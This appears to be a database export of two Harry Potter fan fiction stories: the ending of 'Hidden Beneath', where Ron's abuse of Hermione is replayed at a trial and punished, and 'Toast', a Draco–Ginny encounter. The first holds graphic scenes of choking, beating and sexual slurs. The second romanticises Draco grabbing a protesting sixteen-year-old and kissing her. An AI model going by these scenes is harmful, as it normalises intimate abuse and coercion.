&quot;Just the answers,&quot; he spat, snatching the parchment back and tearing it up.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Ron! What did you do that for? He needed those. Not everyone wants to fail like you!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron felt rage wash over him. Without another word, he yanked hard on Hermione\'s arm and pulled her to a quiet corridor. Without giving her a chance to speak, he pushed her back hard against the wall. &quot;What have I told you about talking back to me?&quot; Ron was practically breathing smoke. &quot;You worthless little whore... passing yourself off to other guys thinking they actually want you, it\'s pathetic!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;I\'m sorry! I\'m sorry!&quot; She tried to hold back her tears, &quot;I just thought he needed help, that&#8217;s all. That&#8217;s all I promise.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;No one wants help from you,&quot; Ron leaned in close to her. &quot;Everyone knows you\'re just a little slut.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione clutched the material at her neck closed tighter, &quot;I didn\'t do anything, I\'m a good girl.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron ripped her hand away from her neck and then clutched at her skin with his fingers, choking her. &quot;You. Are. Not. A. Good. Girl.&quot; his voice was venomous. &quot;You belong to me, and only me, and don\'t you forget that!&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione felt weak and short of breath as she franticly tried to grab at his hands &quot;You\'re right, you\'re right.&quot; she said breathlessly, the room started to spin wildly, &#8220;I&#8217;m a bad&#8230;girl...&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron saw that she was about to pass out and in a moment of charity, pulled his hand away. He waited until she had caught her breath then yanked her roughly up against him and kissed her so hard that her lower lip began to bleed. &quot;Wipe your face off.&quot; He gave her a sneer. &quot;I don\'t need you looking any more unrespectable than you already do.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>She glanced down at the stone flooring and nodded her head.</i></p>\n\n<p><i></i></p>\n\n<p><i>Wordlessly he stalked out of the room, looking behind once to make sure she was following.</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione quietly followed after Ron using the edge of her robe dabbed at her face</i></p>\n\n<p>Ron couldn&#8217;t believe it, his litigator had shown him the way to trick this Memory Bead and to only pick out the memories Ron trained himself to push forward for the bead. He couldn&#8217;t stop the memories, and another one came forward.</p>\n\n<p><i>Hermione gently tugged on Ron\'s sleeve, &quot;Um we should go to the book store I need some new writing supplies.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;I don\'t want to,&quot; Ron replied flatly, staring longingly into the window of a Quidditch shop. </i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Can\'t we just stop in there for a moment, or can I just go?&quot; She glanced at him hopeful.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;No.&quot; Ron snapped. &quot;I told you, my shops today.&quot;</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;But we did your shops last weekend too,&quot; Hermione mumbled to herself.</i></p>\n\n<p><i></i></p>\n\n<p><i>Ron stopped mid stride and pushed her against the brick wall. &quot;What did you say?&quot; His eyes were already bright with fury.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;Nothing, I said nothing.&quot; Hermione avoided his eyes.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;No, you did say something.&quot; Ron shoved her against the wall again and she yelped in pain. &quot;Don\'t lie to me, Hermione.&quot; His voice lowered dangerously.</i></p>\n\n<p><i></i></p>\n\n<p><i>Hermione\'s heart beat really fast, &quot;I didn\'t say anything important, do you really pay attention to anything that comes out of my stupid mouth&quot; Her voice was quiet, low and obediant in tone.</i></p>\n\n<p><i></i></p>\n\n<p><i>&quot;I pay attention, because I want you to listen to me and never disobey ANYTHING I say!&quot; Ron glared down at her.</i></p>\n\n<p><i></i></p>\n\n<p><i>&#8220;Please don&#8217;t yell at me.&#8221; She said in a quiet voice. </i></p>\n\n<p><i></i></p>\n\n<p>Harry looked over at Hermione who had her face in her hands on the desk, she didn&#8217;t want to see this, she had already been through this, she didn&#8217;t want to relive every moment of the past years of her life. Harry&#8217;s fists clinched hard, he wanted to kill Ronald Weasley, not just hurt him but kill him.</p>\n\n<p>Sitting in the chair helplessly watching his memories, Ron tried to struggle free to rip the gem from off his head. He had to stop this, it was going to get worse for him if they all saw what he had done, the memory continued even though Ron fought for another one to come out.</p>\n\n<p><i></i></p>\n\n<p><i>Ron immediately lifted his hand and whacked her hard across the cheek with the back of it, practically knocking her over, he grabbed her roughly by the shoulders slamming the back of her body hard up against the stone side of the building. &#8220;Don&#8217;t you fucking- tell me what to do. Do you hear me?!&#8221; He shook her violently.</i></p>\n\n<p><i></i></p>\n\n<p><i>The back of her head hit the wall the smell of chlorine filled her nose and she seemed to see jolts of light. Ron let go of her and she slipped to the ground, he knelt down to her level. &#8220;This is where you belong, in the dirt, you filthy piece of shit.&#8221; He looked down at her for a moment and grabbed her by the hair so she squealed loudly, pulling her to her feet. This was really having an effect on him, it was making him so hot. &#8220;You&#8217;re such a damn whore,&#8221; His other hand went roughly into her hair and he yanked her hard up against him. His mouth covered over hers roughly and he bit down hard on her lower lip, she yelped trying to push him away...</i></p>\n\n<p>&#8220;That&#8217;s enough.&#8221; Bones calmly said. &#8220;We&#8217;ve seen all we need.&#8221;</p>\n\n<p>Agatha ended the spell on the Memory Beads and pulled the gem from off his forehead.</p>\n\n<p>Fudge, Umbridge and Bones all huddled together and started discussing. Charles patted Hermione on the arm gently, &#8220;It&#8217;s over now. The memories are done.&#8221;</p>\n\n<p>Hermione lifted her head nodding, she looked over at the judges, then over her shoulder at the Weasleys in the back. She noticed the look of absolute horror on Ginny&#8217;s face. </p>\n\n<p>Bones and Umbridge backed up a bit and sat up straight in their chairs, Fudge looked at Ron who was still bound in that chair. &#8220;We are ruling in favor of the prosecution, Mr. Ronald Weasley, stand up.&#8221; Fudge ordered and the cuffs on the chair released Ron&#8217;s limbs. He watched as Ron slowly stood. &#8220;This tribunal sentences you to seven years in Azkaban.&#8221;</p>\n\n<p>&#8220;What?!&#8221; Ron shouted.</p>\n\n<p>&#8220;Don&#8217;t speak boy, you are in enough trouble already.&#8221; Umbridge spat.</p>\n\n<p>Bones looked at him like he was an insect, &#8220;Perhaps some time in prison will convince you that this kind of behavior is unacceptable. It is not tolerated, what you have done to this poor girl is beyond evil as your litigator had said earlier this trial.&#8221;</p>\n\n<p>Fudge banged down his gavel and an officer came up to arrest Ron and take him away to the prison. Harry hurried over to Hermione, and just as he was about to talk to her someone spoke up rather loudly.</p>\n\n<p>&#8220;Wait, wait.&#8221; Ron&#8217;s voice sounded urgent and he looked at Hermione and the officer stopped pulling on Ron for a moment. &#8220;Please I&#8217;m sorry, really I didn&#8217;t mean it. I couldn&#8217;t control myself.&#8221;</p>\n\n<p>Hermione stood up walking over to him, &#8220;That is such a lie. You liked hurting me.&#8221; She did not look at the floor she looked right into his eyes.</p>\n\n<p>Ron&#8217;s eyes narrowed he was tired of playing the game, he was going to prison now so it didn&#8217;t matter what he said to her. &#8220;You&#8217;re such a little harlot, you liked it.&#8221; He laughed cruelly. &#8220;You enjoyed every single minute of it. Admit it you little slut.&#8221;</p>\n\n<p>Harry had enough, he tried to attack Ron but Charles held him back. Harry was struggling pretty hard, and without warning Hermione&#8217;s fist shot up and bashed Ron right in the nose with such a force that it knocked him back onto the two officers. She was breathing so hard, her fist was still clinched, and her eyes were narrowed in bitter hate.</p>\n\n<p>&#8220;You bitch, I&#8217;ll kill you.&#8221; The officers were struggling with Ron as he tried to get over to Hermione and ring her pretty little neck. The two men were working hard to take him from the courtroom. &#8220;Just you wait, I&#8217;ll get you for this Hermione. You are dead! DEAD!!&#8221; Ron was being forcefully drug from the room.</p>\n\n<p>&#8220;What are we doing this for, aren&#8217;t we wizards?&#8221; One of the officers said.</p>\n\n<p>&#8220;Oh yeah,&#8221; The second one answered and he pulled out his wand, pointed it at Ron and said, &#8220;Stupify.&#8221; And Ron fell completely motionless to the floor; the officers had no more trouble as they elevated his body and floated him from the room.</p>\n\n<p>Amelia Bones was last of the tribunal to leave the courtroom, she smiled slightly at Hermione and then left through the door.</p>\n\n<p>Charles pulled on Hermione&#8217;s arm to get her attention, &#8220;So how does it feel having won your freedom so to speak?&#8221;</p>\n\n<p>&#8220;How should I feel,&#8221; Hermione responded.</p>\n\n<p>&#8220;You should feel terrible that&#8217;s what.&#8221; An annoyed voice said from Hermione&#8217;s left. Mrs. Weasley was walking over to her along with Arthur. &#8220;How dare you send my son to prison!&#8221; She noticed Hermione tried to defend herself but she was not going to let her. &#8220;After all we&#8217;ve done for you this is how you repay us.&#8221;</p>\n\n<p>&#8220;It wasn&#8217;t her fault.&#8221; Lavender replied, glaring at the Weasleys.</p>\n\n<p>&#8220;Exactly,&#8221; Harry replied. &#8220;No one should have to live like that.&#8221;</p>\n\n<p>Mrs. Weasley glared at Harry, &#8220;Don&#8217;t you dare speak to me you filthy, disgusting waste of wizard kind.&#8221;</p>\n\n<p>Harry rolled his eyes, &#8220;Well we can see where Weasley got his wonderful language from.&#8221; Even in his sarcasm he smirked.</p>\n\n<p>The older woman gasped at this young man&#8217;s rudeness, she humpfed and looked away from him and stared right at Hermione. &#8220;I want you out of our house; you are no longer welcome there. I don&#8217;t want you to step one toe inside do you understand me, I&#8217;ll put what simple belongings you came with outside. You best hurry and retrieve them or I&#8217;ll just have them taken away as trash.&#8221; And with that she turned around, &#8220;Arthur, Ginny, come along now.&#8221; She started walking away, Arthur hurried to catch up with his wife.</p>\n\n<p>Ginny opened her mouth to speak, but it was hard for her to utter even a word. She really didn&#8217;t know what to think instead she gave Hermione a kind of strange, unsure smile and then dashed off to catch up with her parents.</p>\n\n<p>Hermione sighed, &#8220;We best get back.&#8221; And she started out of the room. Harry followed after her, he knew she wanted to be by herself for a bit and he let her have her space.</p>\n\n<p>&#8220;I really don&#8217;t see why another family couldn&#8217;t have taken you in,&#8221; Harry said as he handed Hermione her shirt to pack in her trunk.</p>\n\n<p>Hermione slowly took the shirt from him and placed it neatly in her trunk. It was the last night of Hogwarts and Hermione was packing up her belongings for the trip home, or her trip to the London orphanage. &#8220;Most people don&#8217;t want to take someone in who causes trouble.&#8221; She knew that wasn&#8217;t true, sure she had many offers for some nice Wizarding family to take care of her. But she didn&#8217;t want to be a burden or made a slave again. She would take her chances on her own even if it meant going to an orphanage.</p>\n\n<p>&#8220;I can&#8217;t believe school is already over and we&#8217;re all going home for summer holidays.&#8221; Harry sat down on her bed, &#8220;You want to know something silly?&#8221; his cheeks were tingeing pink as Hermione looked at him, &#8220;I&#8217;m going to miss you.&#8221;</p>\n\n<p>A slight smile spread across her lips, &#8220;That&#8217;s not silly.&#8221; Hermione sat down next to him, &#8220;The truth is, I&#8217;ll miss you too. But it will only be for a few months and then we&#8217;ll be back at Hogwarts for the final year of our educational lives.&#8221;</p>\n\n<p>Harry wrapped his fingers around hers, holding her hand. &#8220;I know,&#8221; he gently pulled her against him and he felt her lay her head against his shoulder.</p>\n\n<p>&#8220;Harry, I just wanted to say thank you. Thank you for everything. All your help, I couldn&#8217;t have done any of this without you.&#8221; Hermione yawned, relaxing against him.</p>\n\n<p>&#8220;You&#8217;re welcome Hermione.&#8221; Harry glanced down at the top of her head, he didn&#8217;t even want to know what it was going to be like without her, even for two months. He had gotten so used to her being around and helping her. Maybe he didn&#8217;t have to be without her. &#8220;Hermione?&#8221; He noticed she did not respond, he moved her gently and found that she was asleep. Harry smiled a bit and laid her back against her pillows and stood, he softly pulled the blanket over her and as he approached the door, the lights started to dim and then go out as he left the room and closed the door quietly behind him. He had the most brilliant idea, he had to see Headmaster Dumbledore straight away.</p>\n\n<p>*****</p>\n\n<p>After Hermione said good bye to Harry at the train station back at Kings Cross station, while still on platform 9 &#190; she went over to a special kind of booth where she could have someone take her to the London Orphanage. She waited in line for a long time, she wondered what was taking so long. After awhile she finally got up to the front where a wizard looked up at her.</p>\n\n<p>&#8220;Can I help you Miss?&#8221;</p>\n\n<p>&#8220;Uh yeah, I&#8217;m Hermione Granger and I need to get to the London Orphange.&#8221; She leaned on the counter as the man was searching the record information. He moved his chair back and was talking to someone quietly. After he was done he pulled himself back up to the counter. &#8220;Someone will take you to where you need to go.&#8221; Just then the side door of the booth open and a woman came out.</p>\n\n<p>&#8220;Hello Miss Granger.&#8221; The woman said in a kind voice with a pleasant smile, &#8220;I&#8217;m Orlean, and I&#8217;ll be accompanying you to your destination.&#8221; Orlean had a metal staff in her hand. &#8220;Just grab onto this and we&#8217;ll be whisked away.&#8221;</p>\n\n<p>&#8220;Have you charmed this into a portkey?&#8221; Hermione, the ever curious young lady asked as she placed her hands on the staff.</p>\n\n<p>&#8220;Yes I have.&#8221; Orlean smiled.</p>\n\n<p>They both felt a tugging and found themselves no longer at platform 9 &#190;. Hermione looked around, she noticed they were on a cobble stone sidewalk. </p>\n\n<p>&#8220;Where are we?&#8221; The surrounding area didn&#8217;t look familiar to her, Hermione was kind of concerned.</p>\n\n<p>&#8220;Hurry now, we mustn&#8217;t doddle,&#8221; Orlean said as she hurried off with Hermione dragging her trunk behind her trying to keep up. The approached the front of a very luxurious looking apartment building. &#8220;Where are we?&#8221; Hermione demanded. &#8220;What&#8217;s going on? If you&#8217;ve taken me some place where I am going to be treated like slave then&#8230;&#8221;</p>\n\n<p>&#8220;A slave, I should say not.&#8221; A masculine voice interrupted her.</p>\n\n<p>Hermione recognized that voice and heading closer in her direction was Harry Potter and he was using a cart to drag his trunk behind him.</p>\n\n<p>&#8220;Darn, and I wanted to be here before you got here. You travel fast.&#8221; Harry smiled as he stopped in front of Hermione.</p>\n\n<p>&#8220;Harry, please tell me what&#8217;s going on?&#8221; Hermione felt very confused.</p>\n\n<p>Harry smiled and pulled some keys from his pocket, &#8220;In a minute I&#8217;ll answer all your questions, but we should get inside. I don&#8217;t stay in a Wizarding part of the city.&#8221; He didn&#8217;t wait for Hermione to answer as he pushed a button and the glass front door popped open. Orlean held the door open for the two as they pulled their trunks inside.</p>\n\n<p>&#8220;Thanks Orlean.&#8221; Harry smiled appreciatively.</p>\n\n<p>&#8220;Anytime Mr. Potter.&#8221; Orlean nodded her head and turned and started walking away.</p>\n\n<p>Hermione gave Harry an odd look as they walked across marble tiles heading towards an elevator. After Harry pushed the button waiting for the doors to open he looked over at Hermione with an innocent grin; that look made Hermione&#8217;s eyebrows push together in even more confusion.</p>\n\n<p>&#8220;Will you just tell me what this is all about?&#8221; Hermione heard the ding of the elevator and the doors opened, the both of they stepped inside and as soon as the door closed Harry pushed the button for the top floor and then turned to her.</p>\n\n<p>&#8220;Don&#8217;t be mad, but I had a talk with Dumbledore and well, he and I arranged that you could live here in Paris with me instead of in an orphanage.&#8221;</p>\n\n<p>She wasn&#8217;t mad, but she was surprised. &#8220;Why would you two do that, without asking me first?&#8221; Hermione&#8217;s voice wasn&#8217;t accusing, her eyes glanced down at the floor. The moment she saw tile Harry&#8217;s lifted her chin and she was looking up at him.</p>\n\n<p>&#8220;We really need to break that habit of your looking at the floor,&#8221; Harry smiled. &#8220;Anyway, I wanted to tell you but Dumbledore said it would be a nice surprise.&#8221;</p>\n\n<p>&#8220;Neither of you should have made a decision without asking me first; how would he know what I needed?&#8221; Hermione tried again to look at the floor, but Harry still hadn&#8217;t released her chin.</p>\n\n<p>He noticed she was still trying to glance at the floor so he made sure to keep a gentle hold on her so that she would always look up and not shrink away, even if they didn&#8217;t agree. &#8220;Dumbledore has a good idea what people need, he and I both know that you need someone to care for you and not to just toss you into a large group.&#8221; The elevator dinged again and the doors started to open.</p>\n\n<p>&#8220;I&#8217;m not a charity case.&#8221; Hermione still kept her tone low and cautious.</p>\n\n<p>Harry gestured for her to go first and she did, he started pulling both their trunks behind him. &#8220;I know you&#8217;re not.&#8221; They walked down the hall to the last door and Harry pulled out a set of keys and started to unlock his door and pushed it open. Again he motioned for her to go inside first.</p>\n\n<p>Hermione stepped inside and was completely awe struck, she glanced about the entry way, which was made of fine Italian tile. There were white pillars in artistic loctions about the living space, a door to the left was open and she could see it led into a bedroom. What caught her attention most was the terrace doors.</p>\n\n<p>&#8220;Look around if you want,&#8221; Harry smiled as he watched her make her way about the large living space, she had gone into the kitchen area, she even peeked into the bedroom. It was very cute the way she looked, her eyes were so bright and she seemed to be enjoying herself. Lastly she went over to the terrace doors and opened them and stepped out. Harry left their trunks by the door and joined her outside. &#8220;So, what do you think?&#8221;</p>\n\n<p>Hermione looked at him, &#8220;It&#8217;s very, very nice. Much nicer than what I&#8217;m used too.&#8221;</p>\n\n<p>&#8220;Hermione, I am sorry about not telling you about this. It&#8217;s true that you are not a charity case but I also wanted you to be here.&#8221; He shuffled his foot a little. &#8220;Don&#8217;t you think you&#8217;d be much happier here than in an orphanage? They have lots of others to take care of, so just let me take care of you.&#8221; He sounded like a frightened little boy, he didn&#8217;t know what she was going to say. &#8220;But if you want to leave, I won&#8217;t stop you.&#8221;</p>\n\n<p>With a long sigh she looked at Harry, &#8220;Do you really want me to stay, I&#8217;m not going to be a burden on you?&#8221;</p>\n\n<p>&#8220;Of course not,&#8221; Harry said very seriously. &#8220;I love you Hermione, you will never be a burden, don&#8217;t even think it for one moment longer.&#8221;</p>\n\n<p>Hermione couldn&#8217;t help but smile a little, &#8220;If you&#8217;re sure?&#8221;</p>\n\n<p>Harry stepped closer to her, without hesitation he gathered her in his arms and pulled her against him. &#8220;I haven&#8217;t been more sure about anything, except you. Now no more talking about it, you&#8217;re staying and that&#8217;s final.&#8221; He teased, smiling.</p>\n\n<p>&#8220;Well I&#8230;&#8221; Hermione didn&#8217;t get a chance to finish her thought, because Harry quickly pressed his lips against hers. She soon gave up trying to give him a logical explanation of why she shouldn&#8217;t stay here, and instead gave into the sweet kiss and the idea of staying here with someone who really cared for her because she wanted to, not because she was forced to.</p>\n\n<p>It was a different feeling, one she was happy to experience. The future seemed promising for once. Of course it wouldn\'t be easy, but Harry and Hermione both knew this kind of life was worth working hard and fighting for. Isn&#8217;t that what life is all about anyway? The fight to survive. No matter how bad something can get, it can always get better.</p>\n\n<p>========</p>\n\n<p>*Sigh* well that&#8217;s the end of Hidden Beneath *Sniffle* Man it was such an angsty fan fiction but I somehow grew to love it even more. Well I hoped you all enjoyed Hidden Beneath, and stay tuned for more of my fan fictions to come. Thanks, Ryoko Blue </p>\n\n<p>P.S. Don&#8217;t forget to review ~.* heehee</p> '),
	(25, 1, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Toast</title>\n\n\n\n<b><u><p>Toast</p>\n\n</u></b>\n\n<p>Ginny inhaled deeply, taking in all the scents of eggs, toast, jam, bacon, and porridge. She twisted her fiery locks back into a loose ponytail. It sure is good to be back at school. Ginny thought finding a spare seat at the Gryffindor table. She happily plopped down, spreading her black cloak out from under her. It neatly fanned out over her chair. As Ginny grabbed for a piece of toast she heard her brother\'s huff. A trademark it was, no one could sound so exasperated, tired, angry, frustrated, and upbeat all at once as his did. Her chocolate eyes wandered to the Great Hall\'s door as she reached across the table for the strawberry jam. She neatly spread the jam over her toast as she finally picked out her brother from the mass of seventh years entering the great hall. Ginny slightly blushed as she saw Harry approach her. He quietly sat down next to her, and was soon joined by Hermione. Ron seemed to be absent.</p>\n\n<p>Harry fell into a quiet conversation with Hermione once he had sat down. Ginny strained her ears to grab the slightest bit of conversation, but failed miserably. She rolled her eyes, the way those three can get so cliquey, it is disgusting! She inwardly grunted, taking a bite of her breakfast. Hermione sharply turned to Ginny.</p>\n\n<p>&quot;Ron didn\'t mention doing anything stupid to Malfoy lately, did he?&quot; she asked, her bushy hair bobbing up and down as she cocked her head to the side.</p>\n\n<p>&quot;Erm- not that I can recall. Anyway, you two are with him more than I,&quot; she muttered, looking from one to the other curiously.</p>\n\n<p>&quot;Well, he was in a pretty bad mood this morning because of something Malfoy said on the train yesterday,&quot; Harry replied biting his bottom lip. Ginny melted with affection. He looks so adorable when he does that. Ginny thought resting her head on her propped up hand. She covered the action by putting a pensive look on her face.</p>\n\n<p>&quot;Hmm, I haven\'t seen him either. What did Malfoy say this time anyway?&quot; she finally let out.</p>\n\n<p>&quot;Oh the usual poor stupid Muggle-loving Weasley, you know,&quot; Hermione replied knowing full well that Ginny might not be able to carry on a full conversation with Harry. She offered Ginny a supporting smile but her head snapped the other way when Harry\'s eyes, directed at the door, grew wide. Ginny looked over also placing her toast down on her plate.</p>\n\n<p>Ron burst the doors open, earning a few disapproving looks from the teachers, and stomped over to the Gryffindor table. His blue eyes blazed as he reached over the table for some eggs. He piled food onto his plate, picked up his fork forcefully, and began stabbing the eggs.</p>\n\n<p>&quot;Well they certainly didn\'t do anything to you!&quot; Ginny pointed out, putting her hand on top of Ron\'s, trying to get him to calm down.</p>\n\n<p>&quot;Well, when they remind you of Slytherin slime, they bloody sure did!&quot; He snapped icy blue eyes boring into Ginny. She quickly removed her hand from him, and looked down at her toast.</p>\n\n<p>&quot;Honestly Weasley, snapping at your own sister all because of me? I\'m flattered!&quot; a cold drawling voice came from behind Ginny. She looked up, only to find the cold face of Draco Malfoy staring down at her. She returned her shy gaze to her toast, picked it up, and began munching. Ron on the other hand, was fuming.</p>\n\n<p>&quot;You did nothing, you bouncing ferret!&quot; Ron snapped, remaining seated. Draco comically stumbled back, landing in Crabbe and Goyle\'s grasps. Ron stood up, forcing his seat flying backwards.</p>\n\n<p>&quot;Awe does ickle Ronniekins have a widdle problem with me?&quot; Draco leered, a blonde curl flying in front of his face. Ginny peered up at him, a few toast crumbs clutching to her lips. Boy has he changed. She mentally pointed out. Indeed he had changed. Draco no longer wore his hair slicked back; he just let it go, puffy and curly. Then again that\'s what happens when the years fly by. Ginny found herself smiling up at him, thinking of his looks. Once she realized what she was doing, her head snapped back down to her toast. She stayed out of quarrels the best she could, usually.</p>\n\n<p>Ron jumped forward, but was restrained by Harry and Hermione who were clutching him as tight as they could so he wouldn\'t make minced meat out of Draco.</p>\n\n<p>&quot;Can\'t come up with a good retort these Muggle-loving Weasels can they?&quot; Draco asked Crabbe and Goyle. They laughed appreciatively. Ginny deeply inhaled. She was not going to let him completely ruin her brother\'s day. </p>\n\n<p>Tired of their constant bickering, Ginny slammed down her toast. Ron glanced back at her wonderingly, but turned back to Draco when he threw another snide remark at him. Ginny stood up, removed her hair from its ponytail, and glided over to Draco. His back was currently turned away from her, since he was too busy teasing Ron. She gently tapped him on the shoulder. He slowly turned around to face her.</p>\n\n<p>&quot;Oh my God, it\'s the attack of the friggin Weasels! What do you want?&quot; he grumbled, annoyed that he was being distracted. Crabbe and Goyle grunted amused at his response. Well they\'re well trained. Ginny mumbled to herself, looking down at her black scuffed shoes.</p>\n\n<p>&quot;Leave Ron alone, you\'re no better than us,\'\' she stuttered, trying to force the right words out. Please don\'t let him get me mad... please. Ginny chanted in her head.</p>\n\n<p>Draco seemed to have been taken aback. &quot;Excuse me?&quot; he sputtered out unbelievingly, spinning fully around to face her. Ron made a few attempts to get Draco to notice him instead of Ginny, but alas Draco was focused on Ginny. Ginny looked at Hermoine, and she gave Ginny her famous uplifting smile. Ginny sucked in a deep breath, tore her eyes from her shoes, and mustered up the courage to look in Draco\'s eyes. A cold shiver ran down her spine as his cold gray eyes met her warm chocolate orbs. She forced herself to remain looking him in the eye.</p>\n\n<p>&quot;I said... you are no better than us,&quot; Ginny spat frustrated with him already. He raised a single eyebrow, sending it into the depths of his hidden forehead.</p>\n\n<p>&quot;Explain to me why you think you can even speak in my presence little girl. You are scum; you have no name as far as I care. You were only put here to worship the sniveling Potter. Do not tell me that your pathetic, poor, Muggle-loving family is better than mine. I alone am ten times better!&quot; he lashed out with scorn, making Ginny shudder. Ron was being held back by Harry, Hermione, Dean, and Seamus; and to think they were barely holding him back.</p>\n\n<p>&quot;Excuse me? Who died and made you God around here? I don\'t believe anyone did, so why don\'t you get one of your little cronies to remove your head from your fat arse, although it\'s stuck up so far, I doubt anyone could get it out now. And when you do, I\'ll gladly tell you every pathetic reason that I alone am better than a God forsaken Death Eater! Besides I\'m not little, I\'m sixteen!&quot; Ginny fumed, her fists clutched tightly in balls, hanging about her hips. The sun was hitting her hair, making it flame just as her attitude had been moments ago. Ginny slowly took in a breath, getting her heart to slow down, suppressing her anger. Draco stumbled back, amazed by her temper, but remained composed.</p>\n\n<p>&quot;Did that pathetic excuse for a wizard, Potter, really brainwash you all that bad, or is he just that good in bed?&quot; Draco asked, eyes lighting up. He watched as a bright blush spread across her face. She unconsciously straightened her skirt as she could only imagine what her face could look like at that moment.</p>\n\n<p>&quot;Honestly, I wouldn\'t know, but I\'m sure he\'s a hell of a lot better than you are!&quot; Ginny hissed, turning on her heel. She wasn\'t about to take anymore of his crap. She listened to her fellow Gryffindor\'s cloud of laughter, but rushed out of the great hall afraid she would cry if she kept it up with him.</p>\n\n<p>&quot;He sure knows how to make a girl feel special,&quot; Ginny sniffled as she flung the great hall\'s doors open. She stepped out into the hallway, but could go no further so she slumped down against the wall.</p>\n\n<p>&quot;No one will come for me, they\'ll be too busy with Ron!&quot; she sobbed to herself, bringing her knees up to her chest and burying her head inside. Her body shook violently with every ragged breath she drew in. Tears leaked out of her eyes no matter how hard she tried to suppress them, Draco\'s harsh words echoing in her head.</p>\n\n<p>&quot;No one ever cares about me. I\'m always second choice, no not even, seventh!&quot; she sobbed into her knees. </p>\n\n<p>&quot;Bill and Percy were head boy, Charlie was Quiddich captain, Fred and George were class clowns, Ron has two loving friends... what do I have to be proud of?&quot; she asked herself, plunging into self-pity. Ginny sat in that same corner, just crying. Letting all her anger and fear out in droplets of water.</p>\n\n<p>&quot;There must be something wrong with me if all these people find so much fault in all my actions,&quot; she shuddered. A single tear fell down her cheek, tracing a path to her lips. She licked it away softly, and sat up. Before she could do anything, the Great Hall doors swung open large enough to admit one person. </p>\n\n<p>Draco Malfoy appeared, closing the door sharply behind him. He turned around to walk away, but swiveled around when he heard Ginny\'s gasp of surprise. She jerked herself to a standing position, wiped the tear streaks from her cheeks, and turned to leave. She felt his fingers wrapping around her wrist, keeping her from leaving. She yelped in protest and pain, but he did not soften his grip.</p>\n\n<p>&quot;Weasley,&quot; He drawled, a smirk spreading across his lips. Ginny snapped around to face him, her eyes still watery. He loosened his grip suddenly, seeing the look in her eyes, but proceeded to go on about his business.</p>\n\n<p>&quot;Haven\'t you done enough for my family and I? You\'ve succeeded in making our lives miserable, there, I said it. I ADMIT IT! You achieved your goal, so can\'t you just leave us, especially me, alone? You are seventeen years old now, haven\'t you grown out of this by now?&quot; she asked, a single tear slithering down her face.</p>\n\n<p>&quot;Do I scare you Virginia?&quot; He asked, voice soft, emotionless. She took a retreating step back towards the wall, limiting the area separating her from it. He knows my name? she wondered.</p>\n\n<p>&quot;What kind of question is that?&quot; She asked him, purposely avoiding his question, not knowing if she was able to truthfully answer it. He took a step close her, reducing the space between his body and hers.</p>\n\n<p>&quot;Do I scare you?&quot; he repeated, warm breath brushing her cheek. Her eyes fluttered closed, taking in the situation, trying to step back, but found she couldn\'t. Unbelieving she reached behind her, her hand met with the cold stone. She looked down at her shoes and then back up at him, contemplating her answer. All she offered was one word.</p>\n\n<p>&quot;No,&quot; she said lamely, looking into his eyes. They were swirling with mischief, and danger. She immediately regretted her answer. Ginny tore her eyes away, anything would be better than looking into his dangerous eyes. Her eyes fell on his lips. They were so full and soft. So sweet, and kissable. Ginny let out a sigh, leaning against the wall. A warm sensation lighted in Ginny as he leaned towards her. She could feel his hand gently brush past hers, sending a jolt up her spine. His body pressed close to her, and Ginny felt his erotic heat slam against her body as if he was someone completely different. Draco leaned close to Ginny; his lips gently brushed her ear.</p>\n\n<p>&quot;Good,&quot; He muttered. He withdrew his face from hers; his warmth gradually escaped her. She gave a sigh of protest, and that\'s when it happened. He placed his soft lips tenderly on hers, and kissed her fully. Sweet tender pain surged through Ginny\'s body. Her eyes fluttered closed as she leaned into him, kissing him back. He teased her lips with his tongue until she parted them slightly. She parted her lips, letting his tongue slither into her mouth. She tasted the sweetness of his breath, soft and juicy, just as strawberry jam. </p>\n\n<p>Her heartbeat quickened as he explored the regions of her mouth, he tickled her, making her moan with pleasure. Her knees became weak, and it was all she could do to keep from collapsing. She felt his arms twist about her hips to pull her closer to him. Ginny\'s hands flew to his chest, grabbing his shirt for support. He responded, passionately nibbling at her lower lip. She let out a sigh of pleasure as his teeth gently grazed it. </p>\n\n<p>Regaining her strength her hands slithered up to his neck, kneading his silky hair gently, pushing her body close to his, wanting every moment to last longer. His aroma entangled her. She couldn\'t help but sense the fresh smell of rain that was clinging to his body. He felt her presence clutching to him and smiled, she broke their kiss with short, soft kisses.</p>\n\n<p>They broke apart, gasping for breath. A crimson blush spread across her face like wild fire, as her eyes narrowed into daggers. Her breathing soon slowed to its normal pace, but not her heart. It was still fluttering madly high up in her chest.</p>\n\n<p>&quot;Still think Potter\'s better Virginia?&quot; He asked, a smirk spreading across his face as he placed his finger under her chin. She jerked her head back in disgust, and was about to spit a witty retort at him, only he picked a napkin wrapped item out of his cloak pocket, and threw it at her.</p>\n\n<p>&quot;Here you forgot this,&quot; he said, turning oh his heel. Ginny gracefully caught the package, and looked suspiciously at it. What could I have possibly forgotten, I didn\'t even take anything to breakfast? she wondered, turning it around in her hands. There was a note written on it.</p>\n\n<p>Got you back Weasley.</p>\n\n<p>She gasped at the message written on the napkin. She ripped the napkin off, only to find her piece of toast... missing a huge chunk. He undoubtedly had taken a large bite. She growled under her breath, and looked up to scowl at him, but she only caught a glimpse of his back just before he disappeared behind a door. She straightened her robe and chased after him.</p>\n\n '),
